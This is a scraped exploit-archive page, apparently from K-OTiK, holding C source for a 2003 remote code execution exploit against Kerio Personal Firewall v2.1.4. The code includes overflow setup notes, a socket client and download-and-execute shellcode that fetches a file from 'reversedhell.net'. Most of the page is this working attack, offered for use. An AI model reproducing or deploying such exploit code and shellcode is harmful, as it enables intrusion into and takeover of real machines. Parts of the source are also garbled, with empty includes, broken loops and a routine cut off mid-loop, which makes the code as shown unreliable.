Kerio Personal Firewall v2.1.4 remote code execution exploit

    
 
     * Version TXT Disponible ici *
/*
                              * Kerio Personal Firewall v2.1.4 remote code execution exploit 
                              * Tested on Windows XP with SP1
                              * 
                              * In order to exploit, for ease of mind, set the firewall to permit all traffic, or allow
                              * a connection to port 44334 from your testing unix shell ip.
                              * 
                              * It is also possible to use UDP instead of TCP
                              * 
                              * It works out very well, if not, hit a few times with a ret addr of 0x41414141 to make it crash 
                              * AT THAT addr. Then use the original one, it will work. The one I used points to a 'call esp'
                              * inside the RPCRT4.DLL.
                              */

                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 

                              #define PORT 44334 // the port client will be connecting to, default Kerio admin port 
                              #define retpos 5272     
                              #define MAXDATASIZE 5277 // max number of bytes we can get, also size of buffer

                              // global vars

                              struct sockaddr_in their_addr; // connector's address information 
                              char buf[MAXDATASIZE];
                              int numbytes;

                              unsigned char shellcode[] =
                              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

                              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

                              "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                              "\xEB\x30\x5F\xFC\x8B\xF7\x80"

                              "\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1"

                              "\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B"

                              "\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40"

                              "\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D"

                              "\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33"

                              "\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80"

                              "\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6"

                              "\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02"

                              "\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03"

                              "\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03"

                              "\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76"

                              "\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06"

                              "\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02"

                              "\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D"

                              "\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC"

                              "\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1"

                              "\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53"

                              "\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9"

                              "\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0"

                              "\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D"

                              "\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B"

                              "\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1"

                              "\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4"

                              "\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0"

                              "\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4"

                              "\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0"

                              "\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75"

                              "\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64"

                              "\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F"

                              "\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F"

                              "\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F"

                              "\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50"

                              "\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6C\x08\x49"

                              "\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65"

                              "\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65"

                              "\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65"

                              "\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x65\x08"
                              "http://reversedhell.net/hackyou.exe"
                              "\x08\x01"; // download + exec from the net ; donno who wrote this sc

                              //change the url to whatever, this one pops up an innofensive message box

                              // end of global vars

                              int suck(int sock,int n) // painfull function to get rid of the painfull Kerio protocol
                              {
                              int i=0,j=0,k,a=0,b=0,c=0,d=0;

                              while (i200) && (a==0x1) && (b==0x0) && (c==0x1) && (d==0x0)) break;
                              }
                              fprintf(stderr,"\n");
                              return i;
                              }


                              int main(int argc, char *argv[])
                              {
                              int sockfd, i,j;  
                              struct hostent *he;

                              if (argc != 2) {
                              fprintf(stderr,"usage: ./%s hostname\n",argv[0]);
                              exit(1);
                              }

                              if ((he=gethostbyname(argv[1])) == NULL) {  // get the host info 
                              perror("gethostbyname");
                              exit(1);
                              }

                              if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { // prepare a socket for connecting
                              perror("socket");
                              exit(1);
                              }

                              their_addr.sin_family = AF_INET;    // host byte order 
                              their_addr.sin_port = htons(PORT);  // short, network byte order 
                              their_addr.sin_addr = *((struct in_addr *)he->h_addr);
                              memset(&(their_addr.sin_zero), '\0', 8);  // zero the rest of the struct 

                              if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1) {
                              perror("connect");
                              exit(1);
                              }


                              fprintf(stderr,"shell len = %d\n",strlen(shellcode));
                              fprintf(stderr,"Connected to firewall.\n");
                              memset(buf,0x0,sizeof(buf));
                              fprintf(stderr,"Sucking buffer..\n");
                              suck(sockfd,266);
                              fprintf(stderr,"\nBuffer sucked by black hole..\n");
                              memset(buf,0x0,sizeof(buf));
                              fprintf(stderr,"-------------------------------------------------\n");
                              fprintf(stderr,"                 - BANNER -   \n");
                              fprintf(stderr,"-------------------------------------------------\n");
                              sleep(1);
                              fprintf(stderr,"coded by Burebista ()\n");
                              fprintf(stderr,"           released on - 5 Apr 2003 -\n");

                              sleep(2);
                              fprintf(stderr,"-------------------------------------------------\n");
                              memset(buf,0x90,MAXDATASIZE); // set nops all over

                              // prepares call up to beginning of buffer 32 bit=5 bytes
                              buf[MAXDATASIZE-1]='\xff'; //
                              buf[MAXDATASIZE-2]='\xff'; // call -1150
                              buf[MAXDATASIZE-3]='\xee'; //
                              buf[MAXDATASIZE-4]='\xab'; //
                              buf[MAXDATASIZE-5]='\xe8'; //
                                                        
                              j=0;
                              // insert the shellcode in buf at 900
                              for (i=900;j
 

   

   

 Audits de Sécurité & Tests Intrusifs F-VNS Security™  Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits